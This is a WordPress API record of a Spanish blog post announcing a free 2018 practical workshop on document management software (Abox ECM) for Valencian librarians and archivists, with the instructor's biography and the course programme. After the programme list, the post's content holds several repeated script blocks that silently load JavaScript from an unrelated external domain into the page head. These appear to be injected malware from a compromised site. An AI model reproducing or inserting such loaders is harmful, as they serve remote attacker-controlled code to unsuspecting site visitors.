{"id":2950,"date":"2018-05-09T19:02:16","date_gmt":"2018-05-10T00:02:16","guid":{"rendered":"https:\/\/149.56.148.186\/?p=2716"},"modified":"2026-03-20T04:03:04","modified_gmt":"2026-03-20T09:03:04","slug":"taller-practico-de-gestion-documental-herramientas-de-software-profesional-para-la-transformacion-digital","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/taller-practico-de-gestion-documental-herramientas-de-software-profesional-para-la-transformacion-digital\/","title":{"rendered":"Taller pr\u00e1ctico de gesti\u00f3n documental: herramientas de software profesional para la transformaci\u00f3n digital de las empresas"},"content":{"rendered":"<p><strong>Taller pr\u00e1ctico de 4 horas gratuito para miembros del Colegio de Bibliotecarios y Documentalistas de la Comunidad Valenciana (COBDCV).<br \/>\n<\/strong><\/p>\n<ul>\n<li>Fecha: Jueves, 31 de mayo 2018<\/li>\n<li>Horario: de 16 a 20h.<\/li>\n<li>Lugar: Aula F03. Facultad de Geograf\u00eda e Historia. Universitat de Val\u00e8ncia.\u00a0<a href=\"https:\/\/www.google.es\/maps\/place\/Universidad+de+Valencia:+Facultad+de+Geograf%C3%ADa+e+Historia\/@39.4773377,-0.3639324,17z\/data=%213m1%214b1%214m2%213m1%211s0xd6048a48ddd50e9:0x62c1fb28f6516fd\" target=\"_blank\" rel=\"noopener\">Plano<\/a><\/li>\n<\/ul>\n<h3>Profesor:\u00a0D. Rub\u00e9n Lafuente Jorge\u00a0 (Grupo Adapting)<strong><br \/>\n<\/strong><\/h3>\n<div class=\"su-row\">\n<div class=\"su-column su-column-size-3-5\">\n<div class=\"su-column-inner su-clearfix\">\n<p><em>Ingeniero de Telecomunicaciones, Doctorado en Ingenier\u00eda Autom\u00e1tica (Ph.D.) y especializaci\u00f3n en Gesti\u00f3n Inform\u00e1tica por universidades de Alemania y Espa\u00f1a.<\/em><\/p>\n<p><em>Experto en desarrollo de soluciones de gesti\u00f3n de contenidos y gesti\u00f3n documental profesional, con una experiencia de m\u00e1s de 18 a\u00f1os en direcci\u00f3n de proyectos de ECM, BPM y Records Management para clientes internacionales. Vocal del Comit\u00e9 de Normalizaci\u00f3n CTN50\/ SC1 de ISO\/AENOR de Gesti\u00f3n de Documentos y Aplicaciones. Experto en normativa Moreq, ISO-30301 y Leyes de Archivo en Latinoam\u00e9rica.<\/em><\/p>\n<p><em>Actualmente es gerente de la empresa colombiana Adapting Am\u00e9rica S.A.S., filial del Grupo Adapting espa\u00f1ol, con sedes en Valencia (Espa\u00f1a), Bogot\u00e1 y Barranquilla (Colombia). Sus \u00e1reas de inter\u00e9s profesional residen en la Automatizaci\u00f3n de procesos, Big Data, Inteligencia Artificial e Interoperabilidad de sistemas.<\/em><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><strong>Se entregar\u00e1 certificado de asistencia de 4 horas.<\/strong><\/p>\n<h3>Presentaci\u00f3n:<\/h3>\n<p><img loading=\"lazy\" class=\"wp-image-2717 size-medium alignright\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2018\/05\/formacion-practica-software-300x168.jpg\" alt=\"\" width=\"300\" height=\"168\" \/><\/p>\n<p>En un mundo digital, la gesti\u00f3n documental se ha convertido en uno de los pilares b\u00e1sicos para la optimizaci\u00f3n de procesos y mejora de la eficiencia empresarial. No obstante, el tratamiento de los documentos electr\u00f3nicos y su mantenimiento como evidencias de la actividad de las organizaciones no siempre se realiza con las herramientas adecuadas que aseguren su correcta gesti\u00f3n.<\/p>\n<p>En este taller, que cuenta con una orientaci\u00f3n totalmente pr\u00e1ctica, el alumno tendr\u00e1 ocasi\u00f3n de trabajar con un software de gesti\u00f3n documental y archivo (ECM-SGDEA), alineado con las principales normativas y est\u00e1ndares internacionales, y totalmente parametrizable para responder a las necesidades de gesti\u00f3n de documentos y expedientes del entorno organizacional en el que se implante.<\/p>\n<h3>Objetivos:<\/h3>\n<p>El principal objetivo del taller es dotar a los profesionales de la informaci\u00f3n y la documentaci\u00f3n del conocimiento b\u00e1sico necesario sobre el funcionamiento herramientas de gesti\u00f3n documental y archivo (ECM-SGDEA) como base fundamental para el dise\u00f1o, mantenimiento y evaluaci\u00f3n del sistema de gesti\u00f3n documental corporativo.<\/p>\n<h3>Metodologia:<\/h3>\n<p>La metodolog\u00eda planteada para este taller es 70% pr\u00e1ctica y 30% te\u00f3rica. El taller se impartir\u00e1 en un aula de inform\u00e1tica correctamente habilitada para la realizaci\u00f3n de los ejercicios propuestos.<\/p>\n<h3>Programa:<\/h3>\n<ol>\n<li>\u00bfQu\u00e9 es un SGDEA? Requisitos t\u00e9cnicos y funcionales. Conceptos b\u00e1sicos de un SGDEA. Arquitectura de un software ECM. Beneficios de un SGDEA.<\/li>\n<li>Demostraci\u00f3n de abox ECM. Modelo e instrumentos para la Gesti\u00f3n Electr\u00f3nica de Documentos. Visualizaci\u00f3n de conceptos archiv\u00edsticos en Abox. Panel de administraci\u00f3n de Abox. Roles generales. Introducci\u00f3n a los flujos generales en Abox.<\/li>\n<li>Parte pr\u00e1ctica: Gestionando expedientes con Abox ECM:\n<ol>\n<li>Registro electr\u00f3nico de entradas y salidas.<\/li>\n<li>Tr\u00e1mite del expediente: definiendo el proceso con BPMN2 (modelado del flujo del expediente\/documento).<\/li>\n<li>Cierre del expediente: archivo electr\u00f3nico de la documentaci\u00f3n.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = 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